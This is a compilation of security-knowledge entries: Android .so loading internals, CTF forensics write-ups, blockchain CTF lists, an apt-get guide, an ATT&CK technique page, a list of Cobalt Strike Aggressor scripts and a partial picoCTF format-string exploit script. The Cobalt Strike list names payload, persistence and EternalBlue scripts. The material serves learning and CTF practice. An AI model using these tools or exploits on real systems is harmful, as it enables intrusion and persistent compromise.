// TODO: should be synchronized, but dalvik doesn't support synchronized internal natives.
private static native String nativeLoad(String filename, ClassLoader loader,
String ldLibraryPath);
```
相应的文件路径为 `dalvik/vm/native/java_lang_Runtime.cpp` ,具体的 nativeLoad 函数如下
```C
const DalvikNativeMethod dvm_java_lang_Runtime[] = {
{ "freeMemory", "()J",
Dalvik_java_lang_Runtime_freeMemory },
{ "gc", "()V",
Dalvik_java_lang_Runtime_gc },
{ "maxMemory", "()J",
Dalvik_java_lang_Runtime_maxMemory },
{ "nativeExit", "(I)V",
Dalvik_java_lang_Runtime_nativeExit },
{ "nativeLoad", "(Ljava/lang/String;Ljava/lang/ClassLoader;Ljava/lang/String;)Ljava/lang/String;",
Dalvik_java_lang_Runtime_nativeLoad },
{ "totalMemory", "()J",
Dalvik_java_lang_Runtime_totalMemory },
{ NULL, NULL, NULL },
};
```
可以看出在 native 层对应的函数是 Dalvik_java_lang_Runtime_nativeLoad,如下
```C++
/*
* static String nativeLoad(String filename, ClassLoader loader, String ldLibraryPath)
*
* Load the specified full path as a dynamic library filled with
* JNI-compatible methods. Returns null on success, or a failure
* message on failure.
*/
static void Dalvik_java_lang_Runtime_nativeLoad(const u4* args,
JValue* pResult)
{
StringObject* fileNameObj = (StringObject*) args[0];
Object* classLoader = (Object*) args[1];
StringObject* ldLibraryPathObj = (StringObject*) args[2];
assert(fileNameObj != NULL);
char* fileName = dvmCreateCstrFromString(fileNameObj);
if (ldLibraryPathObj != NULL) {
char* ldLibraryPath = dvmCreateCstrFromString(ldLibraryPathObj);
void* sym = dlsym(RTLD_DEFAULT, "android_update_LD_LIBRARY_PATH");
if (sym != NULL) {
typedef void (*Fn)(const char*);
Fn android_update_LD_LIBRARY_PATH = reinterpret_cast<Fn>(sym);
(*android_update_LD_LIBRARY_PATH)(ldLibraryPath);
} else {
ALOGE("android_update_LD_LIBRARY_PATH not found; .so dependencies will not work!");
}
free(ldLibraryPath);
}
StringObject* result = NULL;
char* reason = NULL;
bool success = dvmLoadNativeCode(fileName, classLoader, &reason);
if (!success) {
const char* msg = (reason != NULL) ? reason : "unknown failure";
result = dvmCreateStringFromCstr(msg);
dvmReleaseTrackedAlloc((Object*) result, NULL);
}
free(reason);
free(fileName);
RETURN_PTR(result);
}
```
根据注释,我们可以确定关键的代码在
```c++
bool success = dvmLoadNativeCode(fileName, classLoader, &reason);
```
这一行执行后会告诉我们加载对应的 so 是否成功。
### so 核心加载流程dvmLoadNativeCode
其基本的代码如下,我们可以根据注释来简单判断一下该函数的功能:
- 程序根据指定的绝对路径加载相应的 native code,但是如果该 library 已经加载了,那么就不会再次进行加载。
此外,正如 JNI 中所说,我们不能将一个库加载到多个 class loader 中,也就是说,一个 library 只会和一个 class loader 关联。
函数的基本执行流程如下
1. 利用 findSharedLibEntry 判断是否已经加载了这个库,以及如果已经加载的话,是不是采用的是同一个class loader。
```c++
/*
* Load native code from the specified absolute pathname. Per the spec,
* if we've already loaded a library with the specified pathname, we
* return without doing anything.
*
* TODO? for better results we should absolutify the pathname. For fully
* correct results we should stat to get the inode and compare that. The
* existing implementation is fine so long as everybody is using
* System.loadLibrary.
*
* The library will be associated with the specified class loader. The JNI
* spec says we can't load the same library into more than one class loader.
*
* Returns "true" on success. On failure, sets *detail to a
* human-readable description of the error or NULL if no detail is
* available; ownership of the string is transferred to the caller.
*/
bool dvmLoadNativeCode(const char* pathName, Object* classLoader,
char** detail)
{
SharedLib* pEntry;
void* handle;
bool verbose;
/* reduce noise by not chattering about system libraries */
verbose = !!strncmp(pathName, "/system", sizeof("/system")-1);
verbose = verbose && !!strncmp(pathName, "/vendor", sizeof("/vendor")-1);
if (verbose)
ALOGD("Trying to load lib %s %p", pathName, classLoader);
*detail = NULL;
/*
* See if we've already loaded it. If we have, and the class loader
* matches, return successfully without doing anything.
*/
pEntry = findSharedLibEntry(pathName);
if (pEntry != NULL) {
if (pEntry->classLoader != classLoader) {
ALOGW("Shared lib '%s' already opened by CL %p; can't open in %p",
pathName, pEntry->classLoader, classLoader);
return false;
}
if (verbose) {
ALOGD("Shared lib '%s' already loaded in same CL %p",
pathName, classLoader);
}
if (!checkOnLoadResult(pEntry))
return false;
return true;
}
```
2. 如果没有加载的话,就会利用 dlopen 打开该共享库。
```c++
/*
* Open the shared library. Because we're using a full path, the system
* doesn't have to search through LD_LIBRARY_PATH. (It may do so to
* resolve this library's dependencies though.)
*
* Failures here are expected when java.library.path has several entries
* and we have to hunt for the lib.
*
* The current version of the dynamic linker prints detailed information
* about dlopen() failures. Some things to check if the message is
* cryptic:
* - make sure the library exists on the device
* - verify that the right path is being opened (the debug log message
* above can help with that)
* - check to see if the library is valid (e.g. not zero bytes long)
* - check config/prelink-linux-arm.map to ensure that the library
* is listed and is not being overrun by the previous entry (if
* loading suddenly stops working on a prelinked library, this is
* a good one to check)
* - write a trivial app that calls sleep() then dlopen(), attach
* to it with "strace -p <pid>" while it sleeps, and watch for
* attempts to open nonexistent dependent shared libs
*
* This can execute slowly for a large library on a busy system, so we
* want to switch from RUNNING to VMWAIT while it executes. This allows
* the GC to ignore us.
*/
Thread* self = dvmThreadSelf();
ThreadStatus oldStatus = dvmChangeStatus(self, THREAD_VMWAIT);
handle = dlopen(pathName, RTLD_LAZY);
dvmChangeStatus(self, oldStatus);
if (handle == NULL) {
*detail = strdup(dlerror());
ALOGE("dlopen(\"%s\") failed: %s", pathName, *detail);
return false;
}
```
其中的 dlopen 函数(`bionic/linker/dlfcn.cpp`)如下
```c++
void* dlopen(const char* filename, int flags) {
ScopedPthreadMutexLocker locker(&gDlMutex);
soinfo* result = do_dlopen(filename, flags);
if (result == NULL) {
__bionic_format_dlerror("dlopen failed", linker_get_error_buffer());
return NULL;
}
return result;
}
```
其会调用 do_dlopen 函数(`bionic/linker/linker.cpp`),如下
```c++
soinfo* do_dlopen(const char* name, int flags) {
if ((flags & ~(RTLD_NOW|RTLD_LAZY|RTLD_LOCAL|RTLD_GLOBAL)) != 0) {
DL_ERR("invalid flags to dlopen: %x", flags);
return NULL;
}
set_soinfo_pool_protection(PROT_READ | PROT_WRITE);
soinfo* si = find_library(name); //判断是否有这个库,有的话,需要完成初始化工作
if (si != NULL) {
si->CallConstructors();
}
set_soinfo_pool_protection(PROT_READ);
return si;
}
```
在找到对应的库之后,会使用 `si->CallConstructors();` 来构造相关信息,如下
```c++
void soinfo::CallConstructors() {
if (constructors_called) {
return;
}
// We set constructors_called before actually calling the constructors, otherwise it doesn't
// protect against recursive constructor calls. One simple example of constructor recursion
// is the libc debug malloc, which is implemented in libc_malloc_debug_leak.so:
// 1. The program depends on libc, so libc's constructor is called here.
// 2. The libc constructor calls dlopen() to load libc_malloc_debug_leak.so.
// 3. dlopen() calls the constructors on the newly created
// soinfo for libc_malloc_debug_leak.so.
// 4. The debug .so depends on libc, so CallConstructors is
// called again with the libc soinfo. If it doesn't trigger the early-
// out above, the libc constructor will be called again (recursively!).
constructors_called = true;
if ((flags & FLAG_EXE) == 0 && preinit_array != NULL) {
// The GNU dynamic linker silently ignores these, but we warn the developer.
PRINT("\"%s\": ignoring %d-entry DT_PREINIT_ARRAY in shared library!",
name, preinit_array_count);
}
if (dynamic != NULL) {
for (Elf32_Dyn* d = dynamic; d->d_tag != DT_NULL; ++d) {
if (d->d_tag == DT_NEEDED) {
const char* library_name = strtab + d->d_un.d_val;
TRACE("\"%s\": calling constructors in DT_NEEDED \"%s\"", name, library_name);
find_loaded_library(library_name)->CallConstructors(); //判断库是否已经加载
}
}
}
TRACE("\"%s\": calling constructors", name);
// DT_INIT should be called before DT_INIT_ARRAY if both are present.
CallFunction("DT_INIT", init_func);
CallArray("DT_INIT_ARRAY", init_array, init_array_count, false);
}
```
可以看出,正如注释所写的,如说 .init 函数与 init_array 存在的话,程序会依次调用 .init 函数与.init_array 中对应位置的代码。相关说明如下
```c++
#define DT_INIT 12 /* Address of initialization function */
#define DT_INIT_ARRAY 25 /* Address of initialization function array */
```
3. 建立一个打开的共享库的 entry,并试图其加入到对应的 list 中,方便管理。如果加入失败的话,就会对其进行释放。
```c++
/* create a new entry */
SharedLib* pNewEntry;
pNewEntry = (SharedLib*) calloc(1, sizeof(SharedLib));
pNewEntry->pathName = strdup(pathName);
pNewEntry->handle = handle;
pNewEntry->classLoader = classLoader;
dvmInitMutex(&pNewEntry->onLoadLock);
pthread_cond_init(&pNewEntry->onLoadCond, NULL);
pNewEntry->onLoadThreadId = self->threadId;
/* try to add it to the list */
SharedLib* pActualEntry = addSharedLibEntry(pNewEntry);
if (pNewEntry != pActualEntry) {
ALOGI("WOW: we lost a race to add a shared lib (%s CL=%p)",
pathName, classLoader);
freeSharedLibEntry(pNewEntry);
return checkOnLoadResult(pActualEntry);
}
```
4. 如果加载成功,就会利用 dlsym 来获取对应 so 文件中的 JNI_OnLoad 函数,如果存在该函数的话,就进行调用,否则,就会直接返回。
```c++
else {
if (verbose)
ALOGD("Added shared lib %s %p", pathName, classLoader);
bool result = false;
void* vonLoad;
int version;
vonLoad = dlsym(handle, "JNI_OnLoad");
if (vonLoad == NULL) {
ALOGD("No JNI_OnLoad found in %s %p, skipping init", pathName, classLoader);
result = true;
} else {
/*
* Call JNI_OnLoad. We have to override the current class
* loader, which will always be "null" since the stuff at the
* top of the stack is around Runtime.loadLibrary(). (See
* the comments in the JNI FindClass function.)
*/
OnLoadFunc func = (OnLoadFunc)vonLoad;
Object* prevOverride = self->classLoaderOverride;
self->classLoaderOverride = classLoader;
oldStatus = dvmChangeStatus(self, THREAD_NATIVE);
if (gDvm.verboseJni) {
ALOGI("[Calling JNI_OnLoad for \"%s\"]", pathName);
}
version = (*func)(gDvmJni.jniVm, NULL);
dvmChangeStatus(self, oldStatus);
self->classLoaderOverride = prevOverride;
if (version == JNI_ERR) {
*detail = strdup(StringPrintf("JNI_ERR returned from JNI_OnLoad in \"%s\"",
pathName).c_str());
} else if (dvmIsBadJniVersion(version)) {
*detail = strdup(StringPrintf("Bad JNI version returned from JNI_OnLoad in \"%s\": %d",
pathName, version).c_str());
/*
* It's unwise to call dlclose() here, but we can mark it
* as bad and ensure that future load attempts will fail.
*
* We don't know how far JNI_OnLoad got, so there could
* be some partially-initialized stuff accessible through
* newly-registered native method calls. We could try to
* unregister them, but that doesn't seem worthwhile.
*/
} else {
result = true;
}
if (gDvm.verboseJni) {
ALOGI("[Returned %s from JNI_OnLoad for \"%s\"]",
(result ? "successfully" : "failure"), pathName);
}
}
if (result)
pNewEntry->onLoadResult = kOnLoadOkay;
else
pNewEntry->onLoadResult = kOnLoadFailed;
pNewEntry->onLoadThreadId = 0;
/*
* Broadcast a wakeup to anybody sleeping on the condition variable.
*/
dvmLockMutex(&pNewEntry->onLoadLock);
pthread_cond_broadcast(&pNewEntry->onLoadCond);
dvmUnlockMutex(&pNewEntry->onLoadLock);
return result;
}
}
```
### so 核心加载流程总结
加载 .so 文件时,会按照执行如下顺序的函数(如果不存在的话,就会跳过)
- .init 函数
- .init_array 中的函数
- JNI_OnLoad 函数
|
sec-knowleage
|
### 图片分析类题目简介
图像文件能够很好地包含黑客文化,因此 CTF 竞赛中经常会出现各种图像文件。
图像文件有多种复杂的格式,可以用于各种涉及到元数据、信息丢失和无损压缩、校验、隐写或可视化数据编码的分析解密,都是 Misc 中的一个很重要的出题方向。涉及到的知识点很多(包括基本的文件格式,常见的隐写手法及隐写用的软件),有的地方也需要去进行深入的理解。
### 元数据(Metadata)介绍
> 元数据(Metadata),又称中介数据、中继数据,为描述数据的数据(Data about data),主要是描述数据属性(property)的信息,用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。
元数据中隐藏信息在比赛中是最基本的一种手法,通常用来隐藏一些关键的 `Hint` 信息或者是一些重要的如 `password` 等信息。
这类元数据你可以 `右键 --> 属性` 去查看,也可以通过 `strings` 命令去查看,一般来说,一些隐藏的信息(奇怪的字符串)常常出现在头部或者尾部。
接下来介绍一个 `identify` 命令,这个命令是用来获取一个或多个图像文件的格式和特性。
`-format` 用来指定显示的信息,灵活使用它的 `-format` 参数可以给解题带来不少方便。[format各个参数具体意义](https://www.imagemagick.org/script/escape.php)
### 元数据相关例题
[Break In 2017 - Mysterious GIF](https://github.com/ctfs/write-ups-2017/tree/master/breakin-ctf-2017/misc/Mysterious-GIF)
这题的一个难点是发现并提取 GIF 中的元数据,首先 `strings` 是可以观察到异常点的。
```shell
GIF89a
!!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~
4d494945767749424144414e42676b71686b6947397730424151454641415343424b6b776767536c41674541416f4942415144644d4e624c3571565769435172
NETSCAPE2.0
ImageMagick
...
```
这里的一串16进制其实是藏在 GIF 的元数据区
接下来就是提取,你可以选择 Python,但是利用 `identify` 显得更加便捷
```shell
root in ~/Desktop/tmp λ identify -format "%s %c \n" Question.gif
0 4d494945767749424144414e42676b71686b6947397730424151454641415343424b6b776767536c41674541416f4942415144644d4e624c3571565769435172
1 5832773639712f377933536849507565707478664177525162524f72653330633655772f6f4b3877655a547834346d30414c6f75685634364b63514a6b687271
...
24 484b7735432b667741586c4649746d30396145565458772b787a4c4a623253723667415450574d35715661756278667362356d58482f77443969434c684a536f
25 724b3052485a6b745062457335797444737142486435504646773d3d
```
其他过程这里不在叙述,可参考链接中的 Writeup
### 像素值转化
看看这个文件里的数据,你能想到什么?
```
255,255,255,255,255...........
```
是一串 RGB 值,尝试着将他转化为图片
```python
from PIL import Image
import re
x = 307 #x坐标 通过对txt里的行数进行整数分解
y = 311 #y坐标 x*y = 行数
rgb1 = [****]
print len(rgb1)/3
m=0
for i in xrange(0,x):
for j in xrange(0,y):
line = rgb1[(3*m):(3*(m+1))]#获取一行
m+=1
rgb = line
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()
im.save("flag.png")
```
而如果反过来的话,从一张图片提取 RGB 值,再对 RGB 值去进行一些对比,从而得到最终的 flag。
### 图片分析类相关题目:
- [CSAW-2016-quals:Forensic/Barinfun](https://github.com/ctfs/write-ups-2016/tree/master/csaw-ctf-2016-quals/forensics/brainfun-50)
- [breakin-ctf-2017:A-dance-partner](https://github.com/ctfs/write-ups-2017/tree/master/breakin-ctf-2017/misc/A-dance-partner)
|
sec-knowleage
|
# 0x00 简介
Aggressor Script是Cobalt Strike 3.0版及更高版本中内置的脚本语言,可以修改和扩展Cobalt Strike客户端。
Aggressor Script遵循Sleep Scripting Language语法http://sleep.dashnine.org/manual
# 0x01 使用
> view ->Script Console
当然你也可以在 Cobalt Stike > script Manager 来操作管理
输入help 内置几个命令如下
Command| Arguments | What it does
-| -| -|
? | "*foo*" iswm "foobar" | evaluate a sleep predicate and print result
e | println("foo"); |evaluate a sleep statement
help | null | list all of the commands available
load | /path/to/script.cna | load an Aggressor Script script
ls | list all of the scripts |loaded
proff | script.cna | disable the Sleep profiler for the script
profile | script.cna | dumps performance statistics for the script.
pron | script.cna | enables the Sleep profiler for the script
reload | script.cna | reloads the script
troff | script.cna | disable function trace for the script
tron | script.cna | enable function trace for the script
unload | script.cna | unload the script
x | 2 + 2 | evaluate a sleep expression and print result
`Load `加载脚本
`Unload` 卸载脚本
`Reload` 重新加载脚本
# 0x02 推荐脚本
以下内容来自https://wbglil.gitbooks.io/cobalt-strike/cobalt-strikejiao-ben-shi-yong.html
感谢大佬同意(这章脚本推荐实在是非常麻烦)
1.
脚本名称:ProcessTree.cna
脚本功能:让ps命令可以显示父子关系并显示颜色

2.
脚本名称:ArtifactPayloadGenerator.cna+
脚本功能:创建多种类型的payload。生成的文件在cs目录下的opt\cobaltstrike\

3.
脚本名称:AVQuery.cna
脚本功能:查询目标所安装的所有杀软
4.
脚本名称:CertUtilWebDelivery.cna
脚本功能:利用CertUtil和rundll32生成会话这个应该都知道了解

5.
脚本名称:RedTeamRepo.cna
脚本功能:就是提示一下常用的渗透命令

6.
脚本名称:ProcessColor.cna
脚本功能:显示带有颜色的进程列表(不同颜色有不同含义)

7.
脚本名称:EDR.cna
脚本功能:检查有无终端安全产品
8.
脚本名称:logvis.cna
脚本功能:显示Beacon命令日志

9.
脚本名称:ProcessMonitor.cna
脚本功能:记录一段时间内程序启动的情况
10.
脚本名称:SMBPayloadGenerator.cna
脚本功能:生成基于SMB的payload
11.
脚本名称:Persistence/Persistence_Menu.cna
脚本功能:持久化控制集合
备注:这个脚本是同目录脚本的一个集合

12.
脚本名称:Eternalblue.cna
脚本功能:ms17-010
https://gist.github.com/rsmudge/9b54a66744a94f3950cc171254057942
备注:调用exploit/windows/smb/ms17_010_eternalblue
----------
更多:https://mp.weixin.qq.com/s/CEI1XYkq2PZmYsP0DRU7jg
个人认位这位老哥整理的已经很全面了,象征性发一些
----------
13.
https://github.com/harleyQu1nn/AggressorScripts

14.
https://github.com/bluscreenofjeff/AggressorScripts

脚本来源:
https://github.com/rsmudge/ElevateKit
https://github.com/vysec/CVE-2018-4878
https://github.com/harleyQu1nn/AggressorScripts
https://github.com/bluscreenofjeff/AggressorScripts
https://github.com/ramen0x3f/AggressorScripts
https://github.com/360-A-Team/CobaltStrike-Toolset
https://github.com/ars3n11/Aggressor-Scripts
https://github.com/michalkoczwara/aggressor_scripts_collection
https://github.com/vysec/Aggressor-VYSEC
https://github.com/killswitch-GUI/CobaltStrike-ToolKit
https://github.com/ZonkSec/persistence-aggressor-script
https://github.com/ramen0x3f/AggressorScripts
https://github.com/rasta-mouse/Aggressor-Script
https://github.com/RhinoSecurityLabs/Aggressor-Scripts
https://github.com/Und3rf10w/Aggressor-scripts
https://github.com/Kevin-Robertson/Inveigh
https://github.com/Genetic-Malware/Ebowla
https://github.com/001SPARTaN/aggressor_scripts
https://github.com/gaudard/scripts/tree/master/red-team/aggressor
https://github.com/branthale/CobaltStrikeCNA
https://github.com/oldb00t/AggressorScripts
https://github.com/p292/Phant0m_cobaltstrike
https://github.com/p292/DDEAutoCS
https://github.com/secgroundzero/CS-Aggressor-Scripts
https://github.com/skyleronken/Aggressor-Scripts
https://github.com/tevora-threat/aggressor-powerview
https://github.com/tevora-threat/PowerView3-Aggressor
https://github.com/threatexpress/aggressor-scripts
https://github.com/threatexpress/red-team-scripts
https://github.com/threatexpress/persistence-aggressor-script
https://github.com/FortyNorthSecurity/AggressorAssessor
https://github.com/mdsecactivebreach/CACTUSTORCH
https://github.com/C0axx/AggressorScripts
https://github.com/offsecginger/AggressorScripts
https://github.com/tomsteele/cs-magik
https://github.com/bitsadmin/nopowershell
https://github.com/SpiderLabs/SharpCompile
https://github.com/SpiderLabs/SharpCompile
https://github.com/realoriginal/reflectivepotato
# 0x02 文末
感谢上面两位大佬的整理,确实幸苦。
### 本文如有错误,请及时提醒,以免误导他人
|
sec-knowleage
|
apt-get
===
Debian Linux发行版中的APT软件包管理工具
## 补充说明
**apt-get命令** 是Debian Linux发行版中的APT软件包管理工具。所有基于Debian的发行都使用这个包管理系统。deb包可以把一个应用的文件包在一起,大体就如同Windows上的安装文件。
### 语法
```shell
apt-get [OPTION] PACKAGE
```
### 选项
```shell
apt-get install # 安装新包
apt-get remove # 卸载已安装的包(保留配置文件)
apt-get purge # 卸载已安装的包(删除配置文件)
apt-get update # 更新软件包列表
apt-get upgrade # 更新所有已安装的包
apt-get autoremove # 卸载已不需要的包依赖
apt-get dist-upgrade # 自动处理依赖包升级
apt-get autoclean # 将已经删除了的软件包的.deb安装文件从硬盘中删除掉
apt-get clean # 删除软件包的安装包
-c:指定配置文件。
```
### 参数
* 管理指令:对APT软件包的管理操作;
* 软件包:指定要操纵的软件包。
### 实例
使用apt-get命令的第一步就是引入必需的软件库,Debian的软件库也就是所有Debian软件包的集合,它们存在互联网上的一些公共站点上。把它们的地址加入,apt-get就能搜索到我们想要的软件。/etc/apt/sources.list是存放这些地址列表的配置文件,其格式如下:
```shell
deb web或[ftp地址] [发行版名字] main/contrib/non-[free]
```
我们常用的Ubuntu就是一个基于Debian的发行,我们使用apt-get命令获取这个列表,以下是我整理的常用命令:
在修改`/etc/apt/sources.list`或者`/etc/apt/preferences`之后运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的:
```shell
apt-get update
```
安装一个新软件包:
```shell
apt-get install packagename
```
卸载一个已安装的软件包(保留配置文件):
```shell
apt-get remove packagename
```
卸载一个已安装的软件包(删除配置文件):
```shell
apt-get –purge remove packagename
```
会把已装或已卸的软件都备份在硬盘上,所以如果需要空间的话,可以让这个命令来删除你已经删掉的软件:
```shell
apt-get autoclean apt
```
这个命令会把安装的软件的备份也删除,不过这样不会影响软件的使用的:
```shell
apt-get clean
```
更新所有已安装的软件包:
```shell
apt-get upgrade
```
将系统升级到新版本:
```shell
apt-get dist-upgrade
```
定期运行这个命令来清除那些已经卸载的软件包的.deb文件。通过这种方式,您可以释放大量的磁盘空间。如果您的需求十分迫切,可以使用`apt-get clean`以释放更多空间。这个命令会将已安装软件包裹的.deb文件一并删除。大多数情况下您不会再用到这些.debs文件,因此如果您为磁盘空间不足 而感到焦头烂额,这个办法也许值得一试:
```shell
apt-get autoclean
```
|
sec-knowleage
|
### Blockchain Security Challenges Game of Ethereum Smart Contract Security
- [https://ethernaut.openzeppelin.com/](https://ethernaut.openzeppelin.com/)
+ WP 链接 [https://hitcxy.com/2019/ethernaut/](https://hitcxy.com/2019/ethernaut/)
- [https://capturetheether.com/challenges/](https://capturetheether.com/challenges/)
+ WP 链接 [WP1 传送门](https://www.anquanke.com/post/id/153375) [WP2 传送门](https://www.anquanke.com/post/id/154104)
- [https://blockchain-ctf.securityinnovation.com/#/](https://blockchain-ctf.securityinnovation.com/#/)
+ WP 链接 [https://hitcxy.com/2020/securityinnovation/](https://hitcxy.com/2020/securityinnovation/)
- [https://www.damnvulnerabledefi.xyz/](https://www.damnvulnerabledefi.xyz/)
+ WP 链接 [https://blog.syang.xyz/2021/03/damn-vulnerable-defi-writeup/](https://blog.syang.xyz/2021/03/damn-vulnerable-defi-writeup/)
### Blockchain Security Challenges Blockchain Security CTF Competitions
- [Paradigm CTF](https://ctf.paradigm.xyz/) - 2021
+ [Official Challenges and Solutions](https://github.com/paradigm-operations/paradigm-ctf-2021)
### Blockchain Security Challenges in CTF
!!! note
注:CTF 中区块链的题目并不是很多,所以搜集了绝大多数的题目,包括智能合约与公有链相关题目,并按照年份附上题目链接及其 WP 链接,题目列表不完整会随时更新,同一年中比赛名称不区分顺序,如果有多篇 WP,也不区分顺序。相关题目可到 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库查找或在 [ChainFlag](https://chainflag.org/) 靶场在线练习。
### Ethereum Smart Contract
- RealWorld - 2021
+ 题目名称 Re: Montagy
+ 题目名称 EasyDefi
- *ctf - 2021
+ 题目名称 StArNDBOX
- 高校战“疫”网络安全分享赛 - 2020
+ 题目名称 OwnerMoney
- RCTF - 2020
+ 题目名称 roiscoin
- 第五空间 - 2020
+ 题目名称 CreativityPlus
+ 题目名称 SafeDelegatecall
- 第一届钓鱼城杯 - 2020
+ 题目名称 StrictMathematician
- QWB - 2020
+ 题目名称 IPFS
+ 题目名称 EasyAssembly
+ 题目名称 EasyFake
+ 题目名称 EasySandbox
+ 题目名称 EthGaMe (EGM)
+ 题目名称 EBK
- Balsn - 2020
+ 题目名称 Election
+ 题目名称 IdleGame
- 华为云安全 - 2020
+ 题目名称 ethenc
- 华为鲲鹏计算 - 2020
+ 题目名称 boxgame
- 华为鸿蒙 - 2020
+ 题目名称 ContractGame
- RealWorld - 2019
+ 题目名称 Montagy
- Balsn - 2019
+ 题目名称 Bank
+ 题目名称 Creativity
- CISCN - 2019
+ 题目名称 Daysbank
- QWB - 2019
+ 题目名称 babybank
+ 题目名称 babybet
- ByteCTF - 2019
+ 题目名称 bet
+ 题目名称 hf
- N1CTF - 2019
+ 题目名称 h4ck
- 数字经济 - 2019
+ 题目名称 cow
+ 题目名称 rise
+ 题目名称 jojo
- RoarCTF - 2019
+ 题目名称 CoinFlip
- Hackergame - 2019
+ 题目名称 JCBank
- XCTF_final - 2019
+ 题目名称 Happy_DOuble_Eleven
- D^3CTF - 2019
+ 题目名称 bet2loss_v2
- De1CTF - 2019
+ 题目名称 Easy EOS
- RealWorld - 2018
+ 题目名称 Acoraida Monica
- HCTF - 2018
+ 题目名称 ethre
+ 题目名称 bet2loss
+ 题目名称 ez2win
- BCTF - 2018
+ 题目名称 Fake3d
+ 题目名称 EOSGAME
- WCTF - 2018
+ 题目名称 BelluminarBank
- LCTF - 2018
+ 题目名称 easy little trick
+ 题目名称 ggbank
- *ctf - 2018
+ 题目名称 web-smart_contract
- dctf - 2017
+ 题目名称 spock-lizard-alpha
+ 题目名称 spock-lizard-beta
+ 题目名称 spock-lizard-omega
|
sec-knowleage
|
# Fix my pdf (misc, 100p)
## PL
`For ENG scroll down`
Dostajemy [taki oto pdf](fix_my_pdf.pdf) od autorów zadania.
Wszelkie próby załadowania go do jakiegoś czytnika pdf kończą się niepowodzeniem - wyraźnie wygląda na uszkodzony.
Możemy jeszcze otworzyć go z ciekawości w notepadzie/vimie/emacsie żeby przyjrzeć sie jego wewnętrzenej strukturze - niestety wszystkie streamy w pdfie są skompresowane, co oznacza że ręcznie ich nie podejrzymy.
W tym momencie należy więc skorzystać z jakiegoś narzędzia do dumpowania streamów pdfa. Do głowy przychodzi qpdf, ale jako dzieci windowsa wybieramy prostsze narzędzie - pdf stream dumper.
Ładujemy pdf, i jeden ze streamów wydaje sie ciekawszy (dla oka ludzkiego) niż pozostałe - zawiera XML z metadanymi. Szczególnie ciekawa jest zawartość `<xmpGImg:image>` - dekodujemy więc ją i zapisujemy do oddzielnego pliku (pamiętając żeby zamienić/usunąć wcześniej ciągi `
` z base64 - autor tego writeupa zapomniał o tym na początku i już myślał że jego pomysł na zadanie okazał się ślepą uliczką).
Otrzymujemy taki oto obrazek:

Odczytujemy z niego flagę: TMCTF{There is always light behind the clouds}.
## ENG
We get [this pdf file](fix_my_pdf.pdf) from the task authors.
All attempts to open it with a pdf reader fail - it seems to be broken.
We can still open it with notepad/vim/emacs to look at the internal structure - unfortunately all pdf streams are compressed so we can't easily read them.
We decided to use a pdf stream dump tool. We could have used qpdf but since we're on windows at the moment we chose a different tool - pdf stream dumper.
We load the pdf and one of the streams seems more interesting than the others (at least from human point of view) - it contains XML with metadata.
Particularly insteresting is `<xmpGImg:image>` - we decode this and we save it to a different file (remembering to replace/remove `
` from base64 - author of this writeup forgot about this initially and almost assumed that his approach to solve the task was incorrect)
We finally get this picture:

We read the flag from it: `TMCTF{There is always light behind the clouds}.`
|
sec-knowleage
|
# T1584-004-盗取基础设施-服务器
## 来自ATT&CK的描述
攻击则可能会攻击第三方服务器,这些服务器可以在扫描目标时使用。使用服务器可以让攻击者策划、发动和执行行动。在攻击后的活动中,攻击者可以利用服务器执行各种任务,包括用于指挥和控制。攻击者可能不购买服务器或虚拟私人服务器,而是利用自己攻击获取的第三方服务器用以支持行动。
攻击者还可能攻击Web服务器用以支持水坑操作,如Drive-by Compromise。
简单来说:就是通过攻击第三方服务器,作为跳板机,俗称“肉鸡”。
## 测试案例
暂无
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。
### 检测
这种活动大多发生在防御团队(组织)的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在攻击生命周期的相关阶段,如在指挥和控制期间。
## 参考推荐
MITRE-ATT&CK-T1584-004
<https://attack.mitre.org/techniques/T1584/004/>
|
sec-knowleage
|
# authenticate
Binary Exploitation, 350 points
## Description:
> Can you authenticate to this service and get the flag?
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
int authenticated = 0;
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
flag();
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Would you like to read the flag? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
```
## Solution:
The program asks us if we want to read the flag. If so, it will only print the flag if we are authenticated. Authentication is controlled by a global variable (`authenticated`), which we will need to modify in order to get the flag. We will do this using a format string attack, since if the input is not "yes" or "no", the program will use "printf" directly on it.
The script:
```python
from pwn import *
import argparse
import os
LOCAL_PATH = "./auth"
REMOTE_PATH = ["2018shell3.picoctf.com", 26336]
def get_process(is_remote = False):
if is_remote:
return remote(*REMOTE_PATH)
else:
return process(LOCAL_PATH)
def exec_fmt(payload, is_remote = False):
proc = get_process(is_remote)
proc.sendlineafter("(yes/no)", payload)
return proc.recvall()
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--is_remote", help="Connect to remote server?", action="store_true")
args = parser.parse_args()
